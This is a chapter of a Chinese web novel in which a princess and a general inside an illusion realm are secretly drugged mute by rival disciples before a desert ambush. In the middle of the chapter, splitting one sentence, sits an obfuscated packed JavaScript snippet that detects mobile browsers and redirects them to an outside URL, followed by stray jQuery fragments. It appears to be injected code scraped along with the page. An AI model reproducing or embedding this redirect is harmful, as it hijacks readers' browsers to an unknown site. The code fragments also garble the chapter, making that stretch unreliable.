27. 两个哑巴

作品:《本神在现代社会里历劫

    两人点头示意后,身披玄铁重甲的尔予宸一声令下,和亲使团带着公主绵延数里的嫁妆浩浩荡荡的出发。


    念玉半躺在绵软的羽衾之上,惬意的含着饱满多汁的紫葡萄。


    马车有条不紊的大漠中前进着,偶有强劲的风沙使得马蹄止步不前。


    齐哲越看着军旗在狂风中被吹得东歪西倒,身为副将下马走到尔予宸面前不知说了什么。


    尔予宸手握缰绳,气定神闲地扫了他一眼,齐哲越觉得尔予宸那轻飘飘看他的眼神,好似和看飞扬的尘土一样漫不经心。


    良久,尔予宸还是挥了挥手,示意让整个队伍停下修整。


    举手投足不经意间流露出的威严,好像他真的是整个队伍的管理者。而那些人看见尔予宸的动作几乎下意识的停下了脚步。


    这让齐哲越心中升起一抹隐隐的不安。


    这时,兰娜同司幼嘉等一群人起了争执。


    “你们给公主准备的食物就是这些?”兰娜气愤的将那几个梆硬的胡饼砸在地上。


    “我们每个人的食物,都是我们一路辛辛苦苦带来的,凭什么有人能坐享其成。”司幼嘉咬下一大块羊肉干,朝兰娜翻了个白眼。


    齐哲越被众人视为救世主,身为同门师妹的她这几天也感受到周围各种人的善意。


    “你们看看她真是有病,伺候个人,还伺候的掏心掏肺。”一个笑嘻嘻的声音传来。


    “就是,封建阶级害死人,你想给你的主子当狗,我们可不想”


    ……


    幻境中创造出来的人反应终究有限,兰娜很快就在同众人七嘴八舌的吵架中落了下风。


    兰娜是公主的贴身侍女,本应是这群侍女的领头,但奈何媞月和亲前专挑那些偷懒耍滑的侍女随行,本就有些不受控制。


    等到千年后司幼嘉等人拿到那些角色时,将这一属性发挥了个十成十。


    “兰娜,回来。”念玉掀起车帘,将兰娜叫回来。


    “公主,他们瓜分了原本给您准备的食物。”兰娜捏着手里几袋干巴巴的干粮,气得双颊红扑扑的。


    “我去找将军,让将军整治这帮刁仆!”


    即使面容模糊,念玉也看得出来兰娜委屈的快掉眼泪,


    兰娜与幻境中其它稻草人不同,她尚还留有一定的自主思想,也就是说她还留有自己的灵魂,只不过记忆停在了千年前。


    “别去,将军行军也很辛苦,不要让他再操劳了。”念玉拉住兰娜,她很清楚站在她面前的是千年前的古人。


    她不可能三言两语就改变兰娜深受时代环境熏陶而产生的主仆思想


    作为封建帝制压迫下催生的忠心侍女,兰娜无法理解司幼嘉等人的做法,司幼嘉等人也不明白兰娜所谓的忠心耿耿。


    宛如两个时代激烈的碰撞,她们笑嘻嘻的将兰娜当做没有生命的木偶随意发泄,何尝不是另一种霸凌。


    那胡饼很咸,念玉咬了一口只觉口干舌燥。


    这时,司幼嘉拎着一壶水递给念玉,诚意道歉:“对不起,昨天是我态度不好。”


    她仔细打量着念玉的神色,却发现念玉异常平静,明明看起来和她年岁相当的女孩。从进入幻境,到众人堂而皇之的放弃了她和尔予宸,从头至尾她都没有露出半点慌张无措的神情。


    那口胡饼实在咸的发苦,念玉只得接过司幼嘉递过来的水壶。


    司幼嘉看着念玉死到临头还这样气定神闲的模样,又想到桓秋与念玉谈笑风声的场景,心中忍不住燃起恶意。


    “真羡慕你,拿了公主牌每天坐享其成。”她阴阳怪气,“大漠物资紧张,我们的食物都要自己带着,都是千辛万苦一路背过来的。”


    念玉撇了撇随军走在后方的一队稻草人打扮的侍女,它们每个人都被她们强行套上一个塞一个大的包袱,有的稻草人被压断了胳膊,有的压弯了腰,在沙漠中一瘸一拐、深一脚浅一脚的走着,看起来滑稽可笑。


    再看看两手空空的司幼嘉。


    念玉抿了一口水,心中哂笑,确实是不容易。


    她正欲说,她有更好的办法完成和亲任务,却发现张口失声,喉咙一阵刺痛,竟是半个字都说不出来。


    念玉即刻反应过来发生了什么,眼神凌厉的看着眼前的罪魁祸首。


    司幼嘉不为所动,“你不要怪我,我们也是逼不得已,前面就是高仓铁骑的埋伏点,万一你作为公主对那些士兵下令,想要搅黄我们计划,我们就全完了。”


    念玉一旦下令,在场所有士兵都会听命于她。


    一开始,司幼嘉并不乐意亲自给念玉下药,但是其他人一拿到药,身体就开始不听使唤、无法动弹,甚至内心开始恐惧害怕,他们无法完成给公主下药的任务。


    最后测试了一圈,或许是司幼嘉代替的那位侍女过于叛逆,发现只有她能做到拿着毒药还能自由行走,这才纡尊降贵地过来下毒。


    念玉锁着眉心,再也不想多看司幼嘉一眼,坐回公主的车驾中。


    这边,尔予宸看着一个脸生的士兵递过来满满一壶水。


    他接过水壶的那一刻,那个士兵将头迅速埋了一下,再一扫周围人纷纷左顾右盼的神色,与生俱来的洞察力让他心下了然。


    居然玩这种上不得台面的伎俩,他轻蔑的扫了一眼齐哲越。


    又看向公主的车驾,念玉放下车帘,看不到车内的场景。以她的性格每每要在休整时出来放放风,欣赏千年前的大漠风光。


    他看着壶中的幽幽水色,随即仰头将水灌了下去,将水壶抛给那个士兵。


    天一阁弟子与桓秋正商量着,他们几个高强的剑修如何联手布阵对付高仓骑兵。


    桓秋很愿意出一份力。


    整个和亲使团都在有条不紊的布置着战术,短暂的修整过后。


    桓秋翻身上马,忍不住提醒尔予宸


    “前方就是高仓骑兵的埋伏点,多加小心,若是有危险,你带着念玉先走。”


    尔予宸别有深意的笑了笑,不肯言语。


    直到副将齐哲越挥了挥手示意全军前进,桓秋终于察觉到异常,将军作为军队绝对的实权统帅,哪有还一言未发,副将就敢越俎代庖直接下令的道理。


    “你不能说话?”桓秋勒紧马匹的缰绳,不可置信。


    “他们给你下药了?”


    尔予宸点点头,算是默认。


    整个和亲使团最有领导权的三人就是负责和亲事宜的国师、和亲公主本人和护送和亲使团的将军。


    桓秋只觉一阵怒气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334972|181741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涌上心头,对着那群士兵,“念玉呢?你们给念玉也下药了?”


    四下一片死寂,众人纷纷沉默。


    突然人群中有一个男人堂而皇之地站出来道,


    “这一轮幻境结束,他们两个就会死,万一他们心有不甘,趁我们与高仓骑兵对战时,仗着手中有将军牌、公主牌蓄意捣乱,随意指挥拉我们垫背,一起送死怎么办?”


    “那我们岂不是功亏一篑!!”他大言不惭地提高音量。


    “是啊!是啊!”众人纷纷随声附和。他们好不容易熬到这一刻,谁也不想将自己的命运握在他人的手里。


    “他们不是这样的人。”桓秋听着这群人的想法只觉荒唐,只是这样的解释听起来过于苍白无力。


    “解药,本座要解药。”他不想与这群蠢人多费口舌,直接以国师的身份下令。


    “解药被我随手仍在沙漠里,埋了。”一道突兀的女声响起,司幼嘉站了出来,声音带着少女气的温柔。


    “桓师兄,我们只是给他们下了哑药,过几个时辰就解了。”


    “那我也给你下哑药,你喝吗?”桓秋狠狠地剜了她一眼。


    一时间他只觉头脑昏昏,被气的实在不轻。


    念玉听到车驾外人声鼎沸、喧闹不止,她掀帘站在马车外遥遥相望,笑着对桓秋摇了摇头。


    示意他不要争辩。


    桓秋简直不明白念玉是怎么坦然自若到还能笑出来,他不想与这帮人再争论半个字,气的头也不回的打马前进,冲着那群人扔下一句话:


    “一群蠢货!”


    随即身影消失在大漠黄沙之中。


    这下尔予宸和念玉两个人都成了哑巴,尔予宸也不想在队伍前面领队,索性彻底放权,驱马来到念玉的马车前。


    念玉在车上嚼着贡品葡萄干,目瞪口呆的看着尔予宸钻进马车。


    他沾着风尘仆仆下意识坐在侧坐,眼睛明亮。


    念玉下意识的想,这是尔予宸自己的行为,还是千年前将军的行为?


    因为不能言语,念玉扔掉手里的葡萄干,朝着他挤眉弄眼的比划着。


    他认真的看她比划的每一个动作,就在她费劲比划了半天,等着他的答案时。


    尔予宸眉目温柔的摇摇头。


    没听懂!


    念玉殃殃垂下胳膊,她意识到尔予宸也哑巴了。


    好在车上本来带的零食糕点就多,怕他饿着,念玉抓了一大把果干放在尔予宸怀里。


    又找来之前在路上捡的石炭块,在进贡的波斯地毯上写字。


    “你早知道他们给你下毒了吧?”她目光灼亮地看着他,眼神中满是笃定。


    果然,还是瞒不过她。


    他目露赞赏的看着她,轻轻点头。


    修长匀称的手指接过念玉的炭块,在厚厚的地毯上写到,


    “你学长好像很生气。”


    念玉看完尔予宸写的话,三下五除二的在地毯上画了几笔。


    “没关系,他涉世未深,不生气才不正常。”


    字写完了,念玉随即拍了拍手上的碳灰,挑起窗纱看了看外面的天气,她的耐心已经耗尽。


    大漠狂风、飞沙走石。


    高仓骑兵的埋伏地点到了。